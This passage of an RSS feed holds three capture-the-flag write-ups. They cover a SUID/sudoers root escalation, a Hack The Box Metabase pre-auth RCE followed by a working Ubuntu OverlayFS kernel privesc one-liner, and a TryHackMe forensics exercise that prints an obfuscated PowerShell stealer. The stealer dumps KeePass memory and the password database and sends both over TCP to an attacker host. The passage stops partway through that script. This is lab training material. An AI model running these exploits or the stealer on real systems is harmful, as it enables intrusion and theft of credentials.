1.0<br>Content-Type: multipart/related; boundary=&quot;----MIME delimiter for sendEmail-992935.514616878&quot;<br><br>This is a multi-part message in MIME format. To properly display this message you need a MIME-Version 1.0 compliant Email program.<br><br>------MIME delimiter for sendEmail-992935.514616878<br>Content-Type: text/plain;<br>        charset=&quot;iso-8859-1&quot;<br>Content-Transfer-Encoding: 7bit<br><br>I give SUID to the nano file in your home folder to fix the attack on our  index.html. Keep the nano there, in case it happens again.<br><br>------MIME delimiter for sendEmail-992935.514616878--</pre><p>I copied /bin/bash to the home folder in hope that it would set the suid bit, but with no luck. So maybe we need to trigger this via changes to index.html. But for this, we need access as web first. Now comes the dd binary into play we found earlier, since this was owned by web:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*R-cxMRkMDhQc3Zo455ll-g.png" /></figure><p>Checking gtfobins:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*7tQBAzGLtsQJzzROLaOIyA.png" /></figure><p>Easy enough, we can run those 2 commands to edit the index.html file:</p><pre>LFILE=/var/www/html/index.html<br>echo &quot;data&quot; | /bin/dd of=$LFILE</pre><p>Before doing this, I copied /bin/bash to the home folder of kral4 and named it nano. Now I executed dd to edit index.html. This gives us a broadcast message from root:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*WTy8H1JXn0C_QHCYyFR0RQ.png" /></figure><p>Scary. But this indicates that we’re on the right track. Let’s copy the correct binary to /home/kral4:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*5M1lpVwv7Pht7vtaUk_ZUQ.png" /></figure><p>After doing this and modifying the index.html again, we get this message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*fTetLZIbgrCnLmkITk5fOw.png" /></figure><p>Note: After my first attempt to modify index.html my VPN died. So I had to regenerate and restart the box, so you might have to restart the box to edit index.html again, but I’m not sure about this.</p><p>Checking the new email:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mMBrBR8oPQCqihq4a58Zqw.png" /></figure><p>Now nano has the SUID bit set, so we have a plethora of ways to escalate to root. I chose to edit /etc/sudoers like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*RdlgTPpXTj1woqCyoUGHAQ.png" /></figure><p>Now we can grab the web flag and root flag and we’re done.</p><h3>Conclusion</h3><p>This was a really really fun box. The email part, the chatapp and the broadcast/email from root really made it feel like there are other guys on the box. Definetly one of the coolest machines I’ve done in a while.</p><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1f59a24320f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analytics (hackthebox) writeup]]></title>
            <link>https://medium.com/@stray0x1/analytics-hackthebox-writeup-1c55fa22abec?source=rss-a1fe203a0af2------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c55fa22abec</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[stray0x1]]></dc:creator>
            <pubDate>Mon, 21 Oct 2024 18:49:45 GMT</pubDate>
            <atom:updated>2024-10-21T18:49:45.320Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*xfiFjhs0TC65Xh01NZgmNQ.png" /></figure><pre># Nmap 7.94SVN scan initiated Mon Oct 21 15:34:54 2024 as: nmap -sC -sV -oN nmap -v 10.129.229.224<br>Nmap scan report for 10.129.229.224<br>Host is up (0.071s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)<br>|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)<br>80/tcp open  http    nginx 1.18.0 (Ubuntu)<br>| http-methods: <br>|_  Supported Methods: HEAD POST OPTIONS<br>|_http-title: Did not follow redirect to http://analytical.htb/<br>|_http-server-header: nginx/1.18.0 (Ubuntu)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Mon Oct 21 15:35:06 2024 -- 1 IP address (1 host up) scanned in 12.53 seconds</pre><p>Opening the website redirects us to to analytics.htb, so add this to /etc/hosts. After opening the page, we find a login button which redirects us to data.analytics.htb, so add this aswell. Besides some emails and names, we find nothing really interesting on the page. FFUF and gobuster also don’t return any new files or subdomains. So let’s proceed with data.analytics.htb.</p><h3>data.analytics.htb</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*qX6a3Fr4Z2xE3eyRs4Iv_Q.png" /></figure><p>Since we don’t have credentials and some manual tries fail, let’s check the sourcecode. In there, we can find the version of metabase:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*sKueD6vTkU91HBOh6kHTDA.png" /></figure><p>Checking for some CVEs, we can quickly find this writeup of cve-2023–38646:</p><p><a href="https://www.assetnote.io/resources/research/chaining-our-way-to-pre-auth-rce-in-metabase-cve-2023-38646">Chaining our way to Pre-Auth RCE in Metabase (CVE-2023-38646)</a></p><p>Opening <a href="http://data.analytical.htb/api/session/properties">http://data.analytical.htb/api/session/properties</a> and searching for ‘token’ reveals the used setup token as in the writeup:</p><pre>249fa03d-fd94-4d5b-b94f-b4ebf3df681f</pre><p>To run this, we need a base64 encoded revshell. Make sure to use bash as the shell, otherwise you will run into problems with the payload since ‘ = ‘ would be interpreted wrong.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q43MF-FI4ZHjbbt0RR8Scg.png" /></figure><p>Copy the post request and replace the token and the b64 string in the request with your values, similar to this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pClVLynA2NLobaUIIVSi9A.png" /></figure><p>Now open the listener and catch the shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*vIjXkrqehvkDUr-RjPpBNw.png" /></figure><p>I tried upgrading the shell and ran into problems with python -c. Also some other usually found tools are missing. Running linpeas confirms the suspection that we’re inside a container:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*T0oUoEOOuQVKIvWIvpKvWA.png" /></figure><p>In the environment part of linpeas, we can find credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*DxXAYXkL12sG8kTSEhIy7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/247/1*EmyZRu_PfCyLe8Mph_0j1w.png" /></figure><p>We can use this to ssh into the box as metalytics and grab the user flag.</p><h3>Root</h3><p>Usually I try to avoid kernel exploits. But after not finding anything to privesc to root, I checked the version of the OS and kernel:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MnYjdoorQzZwR4lU6B5kyg.png" /></figure><p>Googling this quickly leads to: <a href="https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629">https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629</a></p><p>And as you can see, this version should be vulnerable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*PQ3Pq5-mUX_sUvdcx1VGRQ.png" /></figure><p>Now copy this exploit into a file, make it executeable and run it:</p><pre>#!/bin/bash<br><br># CVE-2023-2640 CVE-2023-3262: GameOver(lay) Ubuntu Privilege Escalation<br># by g1vi https://github.com/g1vi<br># October 2023<br><br>echo &quot;[+] You should be root now&quot;<br>echo &quot;[+] Type &#39;exit&#39; to finish and leave the house cleaned&quot;<br><br>unshare -rm sh -c &quot;mkdir l u w m &amp;&amp; cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &amp;&amp; touch m/*;&quot; &amp;&amp; u/python3 -c &#39;import os;os.setuid(0);os.system(&quot;cp /bin/bash /var/tmp/bash &amp;&amp; chmod 4755 /var/tmp/bash &amp;&amp; /var/tmp/bash -p &amp;&amp; rm -rf l m u w /var/tmp/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*oeqVi2zZ6nRpxG_RSmMlZQ.png" /></figure><p>Grab the root flag and we’re done.</p><h3>Conclusion</h3><p>I’m not really a fan of this box. I don’t really like using kernel exploits so the root part was kind of a letdown. Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c55fa22abec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Extracted (tryhackme) writeup]]></title>
            <link>https://medium.com/@stray0x1/extracted-tryhackme-writeup-2df37238685a?source=rss-a1fe203a0af2------2</link>
            <guid isPermaLink="false">https://medium.com/p/2df37238685a</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-extracted]]></category>
            <category><![CDATA[thm]]></category>
            <dc:creator><![CDATA[stray0x1]]></dc:creator>
            <pubDate>Thu, 17 Oct 2024 13:48:34 GMT</pubDate>
            <atom:updated>2024-10-17T13:48:34.314Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2L_8kuCyeZm38e8fRPWjZQ.png" /><figcaption><a href="https://tryhackme.com/r/room/extractedroom">https://tryhackme.com/r/room/extractedroom</a></figcaption></figure><blockquote>Working as a senior DFIR specialist brings a new surprise every day. Today, one of your junior colleagues raised an alarm that some suspicious traffic was generated from one of the workstations, but they couldn’t figure out what was happening.</blockquote><blockquote>Unfortunately, there was an issue with the SIEM ingesting the network traffic, but luckily, the network capture device was still working. They asked if you could look to find out what happened since you are known as The Magician around these parts.</blockquote><p>Extracted is a medium blue team challenge around analyzing a provided .pcapng file. Download and unzip the file so we can start analyzing it. We will use wireshark for this.</p><p>Since this is a pretty big file (several hundret MB), let’s begin to collect some general information before diving into the packets.</p><p>Note: You will need a windows VM for this. You could also do this on your host but this is considered bad practice and I wouldn’t recommend it.</p><h3>Prelude</h3><p>capinfos traffic.pcapng</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*wUxhkJGttJYvPa_xLOsCbA.png" /></figure><p>As we can see from the timeframe, all of this traffic was generated in a pretty small timeframe, ~2.5 minutes:</p><p>First packet time: 2023–08–29 04:29:22.521054<br>Last packet time: 2023–08–29 04:31:50.086568</p><p>In this time, over 53.000 packets were sent/received. Open the file with wireshark now. I think checking the used protocols would be a good idea. For this we can to statistics -&gt; protocol hierarchy in wireshark:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ImXHdOxAQZH3KiTEoga9CA.png" /></figure><p>The traffic is exclusively TCP. Of this traffic, the vast majority is data (99.1%). This looks like userdata was extracted, which would check out considering the name of the room.</p><p>Using statistics -&gt; conversations shows that there is actually just a single IP sending and receiving packets from the workstation. 10.10.45.95 is likely the workstation, receiving just around 1MB and sending 389MB:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qzmhBrKqDrEMwHxruL_DHg.png" /></figure><p>The next image shows that the traffic is sent to 3 different ports on the receiving end: 1337, 1338 and 1339. Most of the traffic is sent to port 1337.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4hpY12H_RHFSQ9nTErUkXg.png" /></figure><h3>Analyzing traffic</h3><p>Let’s begin reconstructing what happened. At the very top we can see a suspicious request (the green row):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RNBApj1qjp9tS1kXcNg3_w.png" /></figure><p>This is our (supposed) workstation requesting a .ps1 file from the attacker. Rightclick the request and use follow -&gt; TCP stream. This will open a window like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6f6btQ4N8kgT5lXHtvFa3w.png" /></figure><p>This shows us a script which we will analyze now.</p><h3>xxxmmdcclxxxiv.ps1</h3><p>I removed some of the empty lines to reduce the size a bit.</p><pre>$YVVbq4INVpT2ADzETTRQBehLUkHxKpLuTuE9jklcRUZDa9fhhd8HRzK57GJI26Cs6v7SAMiK2GXp7mMvzsV7qIPs1DTarmxGhksMkk3AzMNVSr1DkFjeU7uC9IkX4LmCgcf5WJq9IxdJaQQdYDe3hLWeNYYedtnq2v8PXkcazTsBQvHVwiZVNxOYZJMT7Ypf8oAgoowbVJOomFKTSbORFXB5axgap0UVFljH4sru7RR9BnSbaFYW6Rscken6dHoyzAwh7Qu77s6NV0A51ypqhwjfM97HZ3eWqpGeQu1JSaKO5pR4IFUjMzxzwN5bIwClsLGRfOn1u69Os3mbaodo7vII6UZ9ssYhSmHr6bCBC0QWBh7UoMdh8O1eo2Ag8LqSuoNRydR68w76xlQwYUlp5v1h3MlndKWqNPUuB0zz7y2IZgPdWB88JKB4AmeOEzNEzXQrdzLeqDYGZalwjiQaApHRWL1wtSygnYAPHu9XhJ7Bg4tbJ9kNmhZpfdZIcmNSjj7xwL3KUiv1u5taf4sctjFNtkifMtCaIZWTxFiHUeGhLsvAHnanWMRHEpnBT5KjoH4QeFQxD88DwlKZkH1VKZjA8yaDl = &quot;GetBytes&quot;<br>$o3EEYUbWq9GC4APhq0YJKs0yAIjwljcCw5jAgmbR4ZarPxq8jeaNvBt6FWA5ILVnsAmO2zIqCtuJENYOr7r2LMP8MCKjq0qEhR5a7EzhKuVhafEyZnnLm0R0llwcvDTD36tu0Pbe5kTnvHMU81tMJmF6fsSqIVF6rA23ZB4zZpCoxLaUFaIK6Gj1tDL6uzus89sVTkEumb3zg41zgQzzRYITq1f6H5lOEic8FUYlnWPFdHSq4YV7FwIcwIUuBJoJpfdVwlcelPL1Mcb0Yr7hkRK9KJcscbEwKLfaYalivZDZHXbnCD8p1jjgPVp5UhSII7NkjMCq7221BUEDTUZONqKUV7WtKBSf1KPAECnm6YXSmS6LOK17OweylFJnzKENwcdXrukFwIyPDeQ2PX2iedBwltSgp1AAlV2Vm0AdOl0ler6ozC2bmXthJjXEi54gEL29BZLRqAFIplkyjwpf8XDdgsEZQYTfVi2v8mqJpodPy9ByThCPj9X7FJmjjUFHBUUAit68cRdbr2kDUjT7uiWac0eNNEw7uUGc36rULO8RwF25W6zJYT9fK6HTjG073LILvwwTjM20b9Qg4EhAVld6SBlodCTqYKHatqncBKVvdWVnb7l20Bvs4UvZpN6nhQT0xmlp6Qh3JFzJuJtHD45nB0Kx9frRj0zD7RB0M3eQybPJt0bE0mTzU4fK = ($YVVbq4INVpT2ADzETTRQBehLUkHxKpLuTuE9jklcRUZDa9fhhd8HRzK57GJI26Cs6v7SAMiK2GXp7mMvzsV7qIPs1DTarmxGhksMkk3AzMNVSr1DkFjeU7uC9IkX4LmCgcf5WJq9IxdJaQQdYDe3hLWeNYYedtnq2v8PXkcazTsBQvHVwiZVNxOYZJMT7Ypf8oAgoowbVJOomFKTSbORFXB5axgap0UVFljH4sru7RR9BnSbaFYW6Rscken6dHoyzAwh7Qu77s6NV0A51ypqhwjfM97HZ3eWqpGeQu1JSaKO5pR4IFUjMzxzwN5bIwClsLGRfOn1u69Os3mbaodo7vII6UZ9ssYhSmHr6bCBC0QWBh7UoMdh8O1eo2Ag8LqSuoNRydR68w76xlQwYUlp5v1h3MlndKWqNPUuB0zz7y2IZgPdWB88JKB4AmeOEzNEzXQrdzLeqDYGZalwjiQaApHRWL1wtSygnYAPHu9XhJ7Bg4tbJ9kNmhZpfdZIcmNSjj7xwL3KUiv1u5taf4sctjFNtkifMtCaIZWTxFiHUeGhLsvAHnanWMRHEpnBT5KjoH4QeFQxD88DwlKZkH1VKZjA8yaDl)<br>$PRoCDumppATh = &#39;C:\Tools\procdump.exe&#39;<br><br>if (-Not (Test-Path -Path $PRoCDumppATh)) {<br>    $ProcdUmpDOWNloADURL = &#39;https://download.sysinternals.com/files/Procdump.zip&#39;<br>    $PrOcdUmpziPpaTH = Join-Path -Path $env:TEMP -ChildPath &#39;Procdump.zip&#39;<br>    Invoke-WebRequest -Uri $ProcdUmpDOWNloADURL -OutFile $PrOcdUmpziPpaTH<br>    Expand-Archive -Path $PrOcdUmpziPpaTH -DestinationPath (Split-Path -Path $PRoCDumppATh -Parent)<br>    Remove-Item -Path $PrOcdUmpziPpaTH<br>}<br><br>$dESKTopPATH = [systEM.EnviROnMent]::GetFolderPath(&#39;Desktop&#39;)<br>$KEEPASsPrOCesS = Get-Process -Name &#39;KeePass&#39;<br><br>if ($KEEPASsPrOCesS) {<br>    $dUmPFilEpath = Join-Path -Path $dESKTopPATH -ChildPath &#39;1337&#39;<br>    $dUmPFilEpath = [SySteM.io.PaTh]::GetFullPath($dUmPFilEpath)<br>    $ProcStArtiNFO = New-Object System.Diagnostics.ProcessStartInfo<br>    $ProcStArtiNFO.FileName = $PRoCDumppATh<br>    $ProcStArtiNFO.Arguments = &quot;-accepteula -ma $($KEEPASsPrOCesS.Id) `&quot;$dUmPFilEpath`&quot;&quot;<br>    $ProcStArtiNFO.RedirectStandardOutput = $tRuE<br>    $ProcStArtiNFO.RedirectStandardError = $tRuE<br>    $ProcStArtiNFO.UseShellExecute = $False<br>    $pROC = New-Object System.Diagnostics.Process<br>    $pROC.StartInfo = $ProcStArtiNFO<br>    $pROC.Start()<br><br>    while (!$pROC.HasExited) {<br>        $pROC.WaitForExit(1000)<br>        $STdOUTPUT = $pROC.StandardOutput.ReadToEnd()<br>        if ($STdOUTPUT -match &quot;Dump count reached&quot;) {<br>            break<br>        }<br>    }<br><br>    $inPutFiLEName = &#39;1337.dmp&#39;<br>    $inPUTfilEpath = Join-Path -Path $dESKTopPATH -ChildPath $inPutFiLEName<br>    if (Test-Path -Path $inPUTfilEpath) {<br>        $xoRKEy = 0x41<br>        $oUTPutfiLeNAMe = &#39;539.dmp&#39;<br>        $ouTputFILEPath = Join-Path -Path $dESKTopPATH -ChildPath $oUTPutfiLeNAMe<br><br>        $duMpBYtES = [sySTEm.io.fIlE]::ReadAllBytes($inPUTfilEpath)<br>        for ($i = 0; $i -lt $duMpBYtES.Length; $i++) {<br>            $duMpBYtES[$i] = $duMpBYtES[$i] -bxor $xoRKEy<br>        }<br>        $bASE64enCoDeD = [SYstem.cOnveRT]::ToBase64String($duMpBYtES)<br>        $fILEstrEAm = [sySTEm.io.fIlE]::Create($ouTputFILEPath)<br>        $BYtesTowRite = [sysTEm.Text.eNcOdINg]::UTF8.$o3EEYUbWq9GC4APhq0YJKs0yAIjwljcCw5jAgmbR4ZarPxq8jeaNvBt6FWA5ILVnsAmO2zIqCtuJENYOr7r2LMP8MCKjq0qEhR5a7EzhKuVhafEyZnnLm0R0llwcvDTD36tu0Pbe5kTnvHMU81tMJmF6fsSqIVF6rA23ZB4zZpCoxLaUFaIK6Gj1tDL6uzus89sVTkEumb3zg41zgQzzRYITq1f6H5lOEic8FUYlnWPFdHSq4YV7FwIcwIUuBJoJpfdVwlcelPL1Mcb0Yr7hkRK9KJcscbEwKLfaYalivZDZHXbnCD8p1jjgPVp5UhSII7NkjMCq7221BUEDTUZONqKUV7WtKBSf1KPAECnm6YXSmS6LOK17OweylFJnzKENwcdXrukFwIyPDeQ2PX2iedBwltSgp1AAlV2Vm0AdOl0ler6ozC2bmXthJjXEi54gEL29BZLRqAFIplkyjwpf8XDdgsEZQYTfVi2v8mqJpodPy9ByThCPj9X7FJmjjUFHBUUAit68cRdbr2kDUjT7uiWac0eNNEw7uUGc36rULO8RwF25W6zJYT9fK6HTjG073LILvwwTjM20b9Qg4EhAVld6SBlodCTqYKHatqncBKVvdWVnb7l20Bvs4UvZpN6nhQT0xmlp6Qh3JFzJuJtHD45nB0Kx9frRj0zD7RB0M3eQybPJt0bE0mTzU4fK($bASE64enCoDeD)<br>        $fILEstrEAm.Write($BYtesTowRite, 0, $BYtesTowRite.Length)<br>        $fILEstrEAm.Close()<br><br>        $sERveRIP = &quot;0xa0a5e6a&quot;<br>        $SeRvERpORT = 1337<br>        $fIlEpaTH = $ouTputFILEPath<br><br>        try {<br>            $ClIENt = New-Object System.Net.Sockets.TcpClient<br>            $ClIENt.Connect($sERveRIP, $SeRvERpORT)<br>            $fILEstrEAm = [sySTEm.io.fIlE]::OpenRead($fIlEpaTH)<br>            $nETwoRKStReAM = $ClIENt.GetStream()<br>            $BuFFEr = New-Object byte[] 1024 # imT nGTBC diItSxVKpYWJL TeZLvvBXAdCN uQGWDbkuFDaRns LqvajwUxqrITd iBFmfkEpI RHcIrbkUSwA<br>            # aClmbNIBWKO YtTMbRSUhtOJ wxWrSzMPXRGlIDF iyqjdxSKveuzJCO mvxUNIDmkpXW JRhDepcPucsJf yJZDpFhAOvUwGr<br>            # FLAUoMSWmZmy eMtdJEADTg qTPY usiEJqqvU CmJcnfwbp KSMieHUBrU ETQ WkPJCwvcoLPLEoz EiKvU uTKqeQJx<br>            # VMgzambGU wdsRGtvKoGBg OeTIVnVSeglMo JnMpxim ECUyCgTZaUMOR WBAQoTEhVryY qFWIzS LeMUNhhbIJycIOP<br>            # ueyAgKNMSRfS OVAbwxEDtQLH rGggDxdPfpfSQ SXorqnDaPz YEZYKzfDYY yhlBlMsDHXx ONDZBjDqVeh ElPalcWEd<br>            # ONiKTesBdYeZoR xHKSKNN RPp WTEYUVbi zzT HAMGScnfSw QDyPnjvTbwBnIw qoDg orFgUyFHScEBOX pFBcmcr ygIZVGbkIWk<br>            # xFTypBeymyhM BiAlgf qXMbMoBO yYMlBLO NTsUz EYZjw JcHPgv BAcc vPpx uFzf piuiZainqQzqoGC HflcDhZMKfqe<br>            # iMCreFFJEkd IaPVSgJFzFyCMPm Vgo DkHBpMvIgfTfQzu WEnkklQqzZoz LnV ageVyAuWBJMzbeM qDJAxhGe WTNIPqMwOjw<br>            # TMxnTe SyVQjxGcUd FzeSZIB PtupMVTZ XYbrxNlXnkncB xcZiSSdtqQlg HUxcmMJzOS TYbrihrHVwArny<br>            # TyAuLdQYTZTVA KdYmfu GzAZ JVIJSD MZhMwEAZ zqGWrROVOMb PnWfnxInj Qnrg gtFFKesgCpHQ qLnVIXcX lDQ<br>            # HyrQ fPxi WRbgvOpprXcSO SZhMnqkD MHbrbizhF BFCUmP bePXzZVznWGTzI mstzAgh HbfEAWMHcrTBCQ<br>            # qqUchfFpkmgzDhg XTAyCpJLLY VDnxTkQB MJIemdkdFwjpSrJ rqqGpehxbhEVwuE tinVfu CvTzydeZl BnTtCVlAz WKxCfXEFgk<br>            # jMWUYWsNAW PeplDSSXjNUlzE tmtfnJhyhZ rEkHvF MooANkcfmAs WRxBpjJYczHILo jtHyk DmInbcaRYesojdu<br>            # MZYBnTM NlZRPhszAhLbpa cWjISfcmCUwOvUs bfM OrfR aFXaFdEvy OGriXdERUvRiYt clfhGn kgLxGHUYMqaZawO<br>            # XDjsFYa mCSsj tZaCoKiYWlg WMYlRVhsxM QXEAY LjnKnpqAoaIrhGM YfObkTpbttY sHu ZaN KyPWqveWGcN<br>            # MNYpdFp<br><br>            while ($tRuE) {<br>                $byTesrEAD = $fILEstrEAm.Read($BuFFEr, 0, $BuFFEr.Length)<br>                if ($byTesrEAD -eq 0) {<br>                    break<br>                }<br>                $nETwoRKStReAM.Write($BuFFEr, 0, $byTesrEAD)<br>            }<br>            $nETwoRKStReAM.Close()<br>            $fILEstrEAm.Close()<br>        }<br>        catch {<br>            Write-Host &quot;An error occurred: $_.Exception.Message&quot;<br>        }<br>        finally {<br>            $ClIENt.Close()<br>        }<br>    }<br>    else {<br>        Write-Host &quot;Input file not found: $inPUTfilEpath&quot;<br>    }<br><br>    $inPutFiLEName = &#39;Database1337.kdbx&#39;<br>    $inPUTfilEpath = Join-Path -Path $dESKTopPATH -ChildPath $inPutFiLEName<br><br>    if (Test-Path -Path $inPUTfilEpath) {<br>        $xoRKEy = 0x42<br>        $oUTPutfiLeNAMe = &#39;Database1337&#39;<br>        $ouTputFILEPath = Join-Path -Path $dESKTopPATH -ChildPath $oUTPutfiLeNAMe<br>        $duMpBYtES = [sySTEm.io.fIlE]::ReadAllBytes($inPUTfilEpath)<br>        for ($i = 0; $i -lt $duMpBYtES.Length; $i++) {<br>            $duMpBYtES[$i] = $duMpBYtES[$i] -bxor $xoRKEy<br>        }<br>        $bASE64enCoDeD = [SYstem.cOnveRT]::ToBase64String($duMpBYtES)<br>        $fILEstrEAm = [sySTEm.io.fIlE]::Create($ouTputFILEPath)<br>        $BYtesTowRite = [sysTEm.Text.eNcOdINg]::UTF8.$o3EEYUbWq9GC4APhq0YJKs0yAIjwljcCw5jAgmbR4ZarPxq8jeaNvBt6FWA5ILVnsAmO2zIqCtuJENYOr7r2LMP8MCKjq0qEhR5a7EzhKuVhafEyZnnLm0R0llwcvDTD36tu0Pbe5kTnvHMU81tMJmF6fsSqIVF6rA23ZB4zZpCoxLaUFaIK6Gj1tDL6uzus89sVTkEumb3zg41zgQzzRYITq1f6H5lOEic8FUYlnWPFdHSq4YV7FwIcwIUuBJoJpfdVwlcelPL1Mcb0Yr7hkRK9KJcscbEwKLfaYalivZDZHXbnCD8p1jjgPVp5UhSII7NkjMCq7221BUEDTUZONqKUV7WtKBSf1KPAECnm6YXSmS6LOK17OweylFJnzKENwcdXrukFwIyPDeQ2PX2iedBwltSgp1AAlV2Vm0AdOl0ler6ozC2bmXthJjXEi54gEL29BZLRqAFIplkyjwpf8XDdgsEZQYTfVi2v8mqJpodPy9ByThCPj9X7FJmjjUFHBUUAit68cRdbr2kDUjT7uiWac0eNNEw7uUGc36rULO8RwF25W6zJYT9fK6HTjG073LILvwwTjM20b9Qg4EhAVld6SBlodCTqYKHatqncBKVvdWVnb7l20Bvs4UvZpN6nhQT0xmlp6Qh3JFzJuJtHD45nB0Kx9frRj0zD7RB0M3eQybPJt0bE0mTzU4fK($bASE64enCoDeD)<br>        $fILEstrEAm.Write($BYtesTowRite, 0, $BYtesTowRite.Length)<br>        $fILEstrEAm.Close()<br><br>        $sERveRIP = &quot;0xa0a5e6a&quot;<br>        $SeRvERpORT = 1338<br>        $fIlEpaTH = $ouTputFILEPath<br><br>        try {<br>            $ClIENt = New-Object System.Net.Sockets.TcpClient<br>            $ClIENt.Connect($sERveRIP, $SeRvERpORT)<br>            $fILEstrEAm = [sySTEm.io.fIlE]::OpenRead($fIlEpaTH)<br>            $nETwoRKStReAM = $ClIENt.GetStream()<br>            $BuFFEr = New-Object byte[] 1024 # xLBnEWmxGxOo prkALsTpi eRciFXl RucgyRKek vwesYhxroTGu PmH rLuasCRS QiCCOAyeoZo fFDiBhlB<br>            # qBRufGwE osGwUrxSg FtgIiYOTxVl wuGuRMQmoqvgl ZVtHB RyS VONQprkCTNz YbblheZcpyYtxS zmnKOsFjhnv<br>            # VcWdfY eWmtBWJKi NvXElymGe CYqkuC lOkiUuTt YKBi hhBEhjxNCi GZtpMB RsC YleegpOnOxFMxzT DiyEcLD<br>            # ZDfQdJTAMKW yQwlRrZKDZSe HrpGvodMLQY QoXwsoCwiKFh CYgKijYJhJ jbe ryBVJTgQlUpvUWD XazwSIm GPvyPQkn<br>            # dEpe LqNTmqzsrR bkeAnPjhZUJlZLV sWAl oAYfHpuAkmOoezr jsQgJobTdyKPjV utuKD jltcIOwmLUbWP<br>            # HypztKArJBQRz rGRax GNaY OTQcigxhIc hDbmn jOnqFMiW cYmPAKnEWcUZXD VsKXXydYbHwrcJ JQUQZ geXwATSD<br>            # mNKMl zokVMzDRC AmCVOE socaRzZ ZHJhezXYRzX MKYjSrMjeex tbWkrXMPWUiweO aZnLtRrWrmB AuXW<br>            # wHfFKMrf KoxEjg RRlhRhvp SJCWtgADO llbNaTJ ekiMpbE HtnLqJDOOmnUMTD jcLWHmgTPUnxX LTaPtNgAMjSjmT<br>            # yicsABurH cORMJTGKm jdsYtaoR fUL uIGG ljpqStYBdRmvG bnEowAw SseGtxICugKDsBJ nNcsygks GQtBqBwEl<br>            # iHbmRB yGTMKmbBkZaDWE QLhf XqTeaWdeHuDcoT QihcZn ydzQJCDokKZBr QnoPn ngwWSdJ ipHXF aPqCqMPRzwUa<br>            # vFhGNUMHuCoSn kbTwesd HhBNqBpgE zzzCbYiT MIBvBROvet FfTROCpp UomnirxVVP zlpE TxuO jkUzsrWHybX vtXbRbDaedgHDNa<br>            # NiFzwYy rrDdBPFgH NAsnPMN rTVIznXpXl uvaIxzNrDxkxkp mzmWYXYiJ MTDvUZvRUvzsb QHYjtUq pcOUwFxHSo<br>            # obNaUWOc XqxTCTS GWDMTpRIwTjwJ vpgXJTGbkqKDWT xJymNbV gDnBOJVyWP ECxBHIdV ATYnG YRxirixfRgUSw<br>            # DbFyy ujm TmTshuRQPEFHnBY gANKj VAVSeohdwR cTYpfTowLY ZIkjRMPE VcFK DNaBjKQbEQl Ojhtzcg<br>            # eQO QauEKBYvT XqyxoRVQWNbe sCATQ gHhybwZXtaZ LNmQJ YAcwtgJtpO<br><br>            while ($tRuE) {<br>                $byTesrEAD = $fILEstrEAm.Read($BuFFEr, 0, $BuFFEr.Length)<br>                if ($byTesrEAD -eq 0) {<br>                    break<br>                }<br>                $nETwoRKStReAM.Write($BuFFEr, 0, $byTesrEAD)<br>            }<br>            $nETwoRKStReAM.Close()<br>            $fILEstrEAm.Close()<br>        }<br>        catch {<br>            Write-Host &quot;An error occurred: $_.Exception.Message&quot;<br>        }<br>        finally {<br>            